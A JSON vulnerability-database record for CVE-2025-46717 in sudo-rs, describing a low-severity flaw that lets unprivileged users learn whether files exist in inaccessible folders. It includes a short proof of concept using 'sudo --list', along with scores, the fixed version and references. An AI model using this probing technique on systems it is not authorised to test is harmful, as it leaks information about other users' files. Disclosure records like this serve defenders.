{"id":"CVE-2025-46717","aliases":["GHSA-98cv-wqjx-wx8f"],"url":"https://o3.security/vulnerability/CVE-2025-46717","summary":"sudo-rs Allows Low Privilege Users to Discover the Existence of Files in Inaccessible Folders","details":"### Summary\n\nUsers with no (or very limited) sudo privileges can determine whether files exists in folders that they otherwise cannot access using `sudo --list <pathname>`.\n\n### PoC\n\nAs root:\n```\n# mkdir /tmp/foo\n# chmod a-rwx /tmp/foo\n# touch /tmp/foo/secret_file\n```\nAs a user without any (or limited) sudo rights:\n```\n$ sudo --list /tmp/foo/nonexistent_file\nsudo-rs: '/tmp/foo/nonexistent_file': command not found\n$ $ sudo --list /tmp/foo/secret_file\nsudo-rs: Sorry, user eve may not run sudo on host.\n```\nI.e. the user can distinguish whether files exist.\n\n### Related\nOriginal sudo (vulnerable version tested by us: 1.9.15p5) exhibited similar behaviour for files with the executable bit set.\n\n### Impact\nUsers with local access to a machine can discover the existence/non-existence of certain files, revealing potentially sensitive information in the file names. This information can also be used in conjunction with other attacks.\n\n### Credits\nThis issue was identified by sudo-rs developer Marc Schoolderman","published":"2025-05-12T14:52:55.408Z","modified":"2026-10-28T02:30:27.262043180Z","cvss":{"score":3.3,"severity":"LOW","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"},"epss":{"score":0.0035,"percentile":0.27551,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"crates.io","name":"sudo-rs","fixedVersion":"0.2.6"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/trifectatechfoundation/sudo-rs/releases/tag/v0.2.6"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/46xxx/CVE-2025-46717.json"},{"type":"ADVISORY","url":"https://github.com/trifectatechfoundation/sudo-rs/security/advisories/GHSA-98cv-wqjx-wx8f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-46717"},{"type":"PACKAGE","url":"https://github.com/trifectatechfoundation/sudo-rs"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:27.262043180Z"}}